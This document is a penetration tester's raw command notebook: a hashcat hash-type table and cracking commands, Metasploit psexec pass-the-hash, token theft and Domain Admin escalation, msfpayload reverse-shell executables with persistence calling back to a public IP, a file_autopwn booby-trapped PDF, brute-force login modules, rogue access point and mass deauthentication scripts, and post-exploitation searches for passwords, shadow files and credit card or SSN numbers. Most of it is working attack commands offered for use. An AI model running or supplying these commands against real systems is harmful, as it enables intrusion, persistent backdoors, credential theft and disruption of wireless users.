#oclHashcat plus Support List :
number PSA hashcat (0.39b24) oclHashcat-plus (0.08b25) oclHashcat-lite (0.10b9)
0 MD5 x x x
1 *md5($pass.$salt) (see 11) x
2 *md5($salt.$pass) (see 21) x
3 *md5(md5($pass)) (see 2600) x
4 *md5(md5(md5($pass))) x
5 *vBulletin < v3.8.5 (see 2611) x
6 *md5(md5($salt).$pass) (see 2811) x
7 *md5($salt.md5($pass)) x
8 *md5($salt.$pass.$salt) x
9 *md5(md5($salt).md5($pass)) x
10 *md5(md5($pass).md5($salt)) x x
11 *md5($salt.md5($salt.$pass)) x
11 Joomla x x
12 *md5($salt.md5($pass.$salt)) x
15 *vBulletin > v3.8.5 (see 2711) x
21 osCommerce, xt:Commerce x
30 *md5($username.0.$pass) x
31 *md5(strtoupper(md5($pass))) x
100 SHA1 x x x
101 nsldap, SHA-1(Base64), Netscape LDAP SHA x x
101 *sha1($pass.$salt) x
102 *sha1($salt.$pass) x
103 *sha1(sha1($pass)) x
104 *sha1(sha1(sha1($pass))) x
105 *sha1(strtolower($username).$pass) (see 121) x
110 *sha1($pass.$salt) x
111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA x x
112 Oracle 11g x x
121 SMF > v1.1 x
122 OSX v10.4, v10.5, v10.6 x
131 MSSQL(2000) x x
132 MSSQL(2005) x x
200 MySQL323 x
300 MySQL >=4.1 x x x
400 phpass, MD5(Wordpress), MD5(phpBB3) x x
500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 x x
600 *SHA-1(Base64) (see 101) x
700 *SSHA-1(Base64) (see 111) x
800 SHA-1(Django) x
900 MD4 x x x
1000 NTLM x x x
1100 Domain Cached Credentials, mscash x x x
1200 MD5(Chap) x
1300 MSSQL x
1400 SHA256 x x x
1500 descrypt, DES(Unix), Traditional DES x x
1600 md5apr1, MD5(APR), Apache MD5 x x
1700 SHA512 x x
1800 SHA-512(Unix) x
1900 SL3 x
2100 Domain Cached Credentials2, mscash2 x
2400 Cisco-PIX MD5 x x
2500 WPA/WPA2 x
2600 Double MD5 x x
2611 vBulletin < v3.8.5 x x
2711 vBulletin > v3.8.5 x x
2811 IPB2+, MyBB1.2+ x x
3000 LM x x
*
* Depreached,
Example :
set BIN=oclHashcat-plus64
set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u
%BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
%BIN% %OPTS% --hash-type 900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80
%BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
%BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1
# set power profile via command line
Powercfg.exe /SETACTIVE "Always On"
Powercfg.exe /SETACTIVE "Max Battery"
#Remove the .NET Credentials (Stored User names and Passwords)
Control keymgr.dll
# convert amr to mp3
ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3
FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3
#windows saved passwords
rundll32.exe keymgr.dll, KRShowKeyMgr
# check for mod date range
find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30
# openvas on 11.10
take src out of the sources.list
add --http-only to the /etc/init.d/greenbone-security-assistant startup script
# mass set path
export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'`
# top web ports ports
80-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-808,8099,8100-8105,8443,8888,8900,9999,10000
# more web ports
10080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887
# Search office documents for PII
# CC with SSN no dash ( high false positive )
find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b"
# CC with SSN dash ( low false positive only match ###-##-#### not any 8digi number )
find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b"
# nslookup to CSV
for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}'
# my-ip-neighbors lookup
# 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt
# test google before you start ..
# curl -x 184.171.175.14:808 http://google.com etc ..
for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go
bash -x go > out
# grep the output for all the goodies and make it nice CSV
egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}'
# block port 80 throttle
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT
# CURL HTTPS
for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https
# airbase/karma.rc setup
--------------------
gogogo
----------------
# change eth1 to internet interface
iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
# kill stuff the will cause issues ..
killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
# start MSF karma.rc script logs are screenlog.0 etc ..
xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" &
# takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!!
echo "waiting for MSF karma to start .. 50sec"
sleep 20
# monitor mode change wlan1 to your wifi
airmon-ng start wlan1
sleep 5
# setup fake AP
xterm -e "airbase-ng -c 6 -P mon0 -v" &
sleep 5
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
# setup DHCP server
xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" &
# DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68" &
------------------
# XSS
>"'>
# add full read write read/write full R/W on registry key
SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full"
# add -P0 for no ping
/usr/bin/screen -fa -d -m nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping
# msf metasploit use login to get msfshell for pivot/token
use exploit/windows/smb/psexec
set RHOST 192.168.64.123
set SMBUser adminit
set SMBPass password
# also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
exploit
getuid
use priv
getsystem
use incognito
list_tokens -u
add_group_user "Domain Admins"
impersonate_token "DOMAIN\\user"
# add user to domain admin after token
net user test PASSWORDHERE /add
net localgroup administrators test /add
net group /add "domain admins" DOMAIN\test
net group /add "domain admins" test
---------------------------
# make exe
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
# attacker listen
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.55
set LPORT 443
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
exploit -j -z
# armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS
apt-get install mysql-server -y
/etc/init.d/mysql start
mysqladmin -u root -ppassword password toor
/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
# armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES
apt-get install -y postgresql
apt-get install libpq-dev -y
gem install postgres
/etc/init.d/postgresql start
su -
su - postgres
createuser msf_user -P
createdb --owner=msf_user msf
/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage
----
# ssh
use auxiliary/scanner/ssh/ssh_login
#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34
# also set RHOSTS file://bla
# set USER_FILE "C:/backup/wordlist/password_large.txt"
set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
set VERBOSE true
set STOP_ON_SUCCESS true
set BRUTEFORCE_SPEED 5
# set this to the number of host
set THREADS 6
run
use auxiliary/gather/dns_enum
set DOMAIN domain.com
run
#smb
use auxiliary/scanner/smb/smb_login
set RHOSTS file://192.168.8.39
set RHOSTS 127.0.0.1
set USER_FILE "C:/wordlist/users.txt"
set PASS_FILE "C:/wordlist/2.txt"
set VERBOSE false
# set to number of host scanning .
set THREADS 16
set STOP_ON_SUCCESS true
set VERBOSE false
Name Value
---- -----
BLANK_PASSWORDS false
BRUTEFORCE_SPEED 5
ConnectTimeout 10
DCERPC::ReadTimeout 10
DCERPC::fake_bind_multi true
DCERPC::fake_bind_multi_append 0
DCERPC::fake_bind_multi_prepend 0
DCERPC::max_frag_size 4096
DCERPC::smb_pipeio rw
MaxGuessesPerService 0
MaxGuessesPerUser 0
MaxMinutesPerService 0
NTLM::SendLM true
NTLM::SendNTLM true
NTLM::SendSPN true
NTLM::UseLMKey false
NTLM::UseNTLM2_session true
NTLM::UseNTLMv2 true
PRESERVE_DOMAINS true
REMOVE_PASS_FILE false
REMOVE_USERPASS_FILE false
REMOVE_USER_FILE false
RHOST file:/home/rmccurdy/high
# http
use auxiliary/scanner/http/http_login
set AUTH_URI /folder?dcPath=ha-datacenter
set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
set VERBOSE true
run
back
# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1,49,50
set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run
back
# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
set VERBOSE false
run
back
#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 127.0.0.1
set PASS_FILE /home/administrator/small.txt
set USER_FILE /home/administrator/small.txt
set BRUTEFORCE_SPEED 1
run
#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
set VERBOSE false
run
nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
# got r00t got r00t ?
# bash history very gooOOOd !
updatedb;locate .bash_history
# crack with extrem gpu brute force
cat /etc/shadow | grep -v ":\*:"
# use on other servers by checking bash history
updatedb;locate authorized
# find files modifyed the past 7 days
find / -type f -mtime -7|egrep -v "(proc|\/sys)"
# you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password
locate *.sql
locate sql.tar.gz
# what services are listing the part at the top
netstat -na | grep LIS
---------
more notes :
-------------
# class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job
# this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be
at 19:00
screen bash at.sh
# at.sh script
nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping
# class b external 65k host fast ping scan 7 ports 30min
# Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16
# Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;)
# Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds
nmap -p53 -script dns-zone-transfer -script-args dnszonetransfer.domain=aeiginsurance.com
# medusa hydra
./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
http://www.foofus.net/~jmk/medusa/medusa.html
medusa -M ftp -H targets -u Anonymous -p KPMG_AUDIT -v 6 -T 30 -g 2 -R 1
medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 ..
medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1
medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt
mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1
nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
# email over telnet
RSET
HELO
MAIL FROM:
RCPT TO:<"freeload101@yahoo.com">
data
this is a test from KPMG w00t
.
--------
route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05
.\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59
.\nmap --script smb-enum-shares.nse -p445 10.104.101.59
.\nmap --script smb-enum-users.nse -p445 10.104.101.59
.\nmap.exe --script smtp-commands.nse -pT:25,465,587
.\nmap.exe --script smtp-enum-users.nse -pT:25,465,587
# route all to 10.127.120.97
route add 0.0.0.0 mask 0.0.0.0 10.127.120.97
# route 75.131.211.0 to VPN or other connectoin
route add 75.131.211.0 mask 255.255.255.0 192.168.77.254
# route rmccurdy over VPN
route add 75.131.211.0 mask 255.255.255.0 10.31.128.1
warvox notes:
* you also have to contact support and have IAX unlocked on the account
· Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime.
· Let me know if you need any help
google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider )
3 at a time max ..
screen
ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... )
use SELF as the caller ID
ranges are 15555555555:15555555555
or 155555XXX
SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52';
* if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ?
* ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ;
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ;
SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ;
SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't';
rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash
rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2
# example input file 4ee is null or blank
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#notes
http://ob-security.info/?tag=hashcat
# following steps are for BT4:
# edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf )
# load the kernal mod for garmin gps
modprobe garmin_gps
# plugin the the garmion GPS18 USB puck
# if I dont run this command it hangs and kill -9 will not even work so have to reboot
mount -t usbfs none /proc/bus/usb/
# setup gpsd
dpkg-reconfigure gps
#start gpsd
gpsd /dev/ttyUSB0
# test
ls -al /dev/ttyUSB0
xgps
#also test by
telnet localhost 2947
# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
# ssh logins
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.13.102.2,177
set USER_FILE "C:/wordlist/password_small.txt"
set RHOSTS_FILE "C:/wordlist/targests.txt"
run
back
use auxiliary/gather/dns_enum
set DOMAIN 10.21.1.69
run
--------------------------------------
airbase notes
------------
mass deauth
# broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line ..
# cleanup
rm -f clients*.csv
# dump clients
airodump-ng mon0 -o csv -w clients &
# lets sleep on it we need station ids
sleep 60
killall airodump-ng
# make script to mass deauth
grep -ia -A 10000 Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one -c",$1}'|grep : > killclients
bash -x killclients
-----------------------------------------------
gogogo
----------------
^Croot@bt:/stuff/airbase# cat GO
killall avahi-daemon avahi-daemon NetworkManager wpa_supplicant
killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
airmon-ng start wlan1
sleep 5
xterm -e "airbase-ng -c 6 -P mon0 -v" &
sleep 5
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 &
sleep 5
cd /pentest/exploits/framework &
xterm -e "tcpdump -i at0 -n port 67 and port 68" &
sleep 5
xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc"
------------------
# depends for airdcrack
apt-get install build-essential -y
apt-get install libssl-dev -y
apt-get install openssl-dev -y
apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes
# more depends set autopwn
apt-get install upx-ucl upx-nrv -y
apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y
apt-get install ruby libruby rdoc -y
apt-get install libyaml-ruby -y
apt-get install libzlib-ruby -y
apt-get install libopenssl-ruby -y
apt-get install libdl-ruby -y
apt-get install libreadline-ruby -y
apt-get install libiconv-ruby -y
apt-get install rubygems -y
#apt-get install postgresql postgresql-client postgresql-contrib -y
apt-get install pgadmin3 -y
apt-get install python-pymssql -y
gem1.8 install rails
# get set and msf
mkdir /pentest/
mkdir /pentest/exploits
cd /pentest/exploits
# check out /install aircrack latest
svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
cd aircrack-ng
make clean
make
make install
airodump-ng-oui-update
# create mon0
airmon-ng start wlan1
# start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... )
airbase-ng -c 6 -P mon0 -v
# install dhcp3 server
apt-get install dhcp3-server -y
-----------------------------------------------------------
# DHCP CONF
cat /etc/dhcp3/dhcpd.conf
----------------------------------------------------------------
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
-------------------------------------------------------------------------------
# setup at0 interface that airbase created to listen on IP configured for dhcp server
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
# start dhcp server
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
# cd to framework root ..
cd /pentest/exploits/framework
wget http://digitaloffense.net/tools/karma.rc -O karma.rc
# start msfconsole using the mass client sides basicly karma.rc
msfconsole -r karma.rc
# start TCP dump looking for DHCP requests from the remote host !
tcpdump -i at0 -n port 67 and port 68
# mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ?
# for mass client side attack using etterfilter for targets:
apt-get install ettercap -y
# run mass client side attack
cd /pentest/exploits/fasttrack
fast-track.py -i
# choose mass client side attack etc and run metasploitloadfile manuely ...
# when all is running etc .... start msfconsole with the metasploitloadfile script in the base folder of fasttrack
msfconsole -r metasploitloadfile
http://digitaloffense.net/tools/karma.rc
+-+-+-
airmon-ng start wlan0
airbase-ng -c 9 -P -C60 -z 2 -W 1 mon0
ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0
killall dhclient dhcpcd dhclient3
airmon-ng start wlan1
airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
#airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
00:0C:43:41:46:34 -37 13 2 0 6 54e. WPA TKIP PSK rmccurdyDOTcom1
airbase-ng -c 6 -a 00:0C:43:41:46:34 -C60 -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
i
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
tcpdump -i at0 -n port 67 and port 68
armatage
apt-get install -y postgresql
apt-get install libpq-dev -y
gem install postgres
/etc/init.d/postgresql start
su -
su - postgres
createuser msf_user -P
createdb --owner=msf_user msf
/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage
wifi notes
------------------------
internet@rmccurdydotcom /cygdrive/c/temp
# egrep "BSSID|||" "Kismet-20110929-11-17-47-1.net
xml" | tr -d '\n' | awk '{gsub("",",\n"); print}' | sed -e 's/<\/BSSID>
/,/g' -e 's/ //g' -e 's/<\/manuf>//g' -e 's/ /,/
g' -e 's/<\/max_signal_dbm>/,/'g -e 's/ /,/g' -e 's/<\/ssid>//
g'> 2.csv
internet@rmccurdydotcom /cygdrive/c/temp
# load the kernal mod for garmin gps
modprobe garmin_gps
# plugin the the garmion GPS18 USB puck
# if I dont run this command it hangs and kill -9 will not even work so have to reboot
mount -t usbfs none /proc/bus/usb/
# setup gpsd
dpkg-reconfigure gps
# test
ls -al /dev/ttyUSB0
xgps
#also test by
telnet localhost 2947
# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
------------------------
----------------------
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST rmccurdy.com
set LPORT 21
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
exploit -j -z
# file_autopwn
rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3
wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf
./msfconsole
db_driver sqlite3
db_create pentest11
setg LHOST 75.139.158.51
setg LPORT 21
setg SRVPORT 21
setg LPORT_WIN32 21
setg INFILENAME /tmp/file3.pdf
use auxiliary/server/file_autopwn
set OUTPATH /tmp/1
set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
run
# shows all the scripts
run [tab]
# persistence! broken ...if you use DNS name ..
run persistence -r 75.139.158.51 -p 21 -A -X -i 30
# new method run persistence -U -i 5 -p 443 -r 192.168.1.71
run get_pidgin_creds
idletime
sysinfo
# SYSTEM SHELL ( pick a proc that is run by system )
migrate 376
shell
# session hijack tokens
use incognito
impersonate_token "NT AUTHORITY\\SYSTEM"
# eslcate to system
use priv
getsystem
execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t
# list top used apps
run prefetchtool -x 20
# list installed apps
run prefetchtool -p
run get_local_subnets
# find and download files
run search_dwld "%USERPROFILE%\\my documents" passwd
run search_dwld "%USERPROFILE%\\desktop passwd
run search_dwld "%USERPROFILE%\\my documents" office
run search_dwld "%USERPROFILE%\\desktop" office
# alternate
download -r "%USERPROFILE%\\desktop" ~/
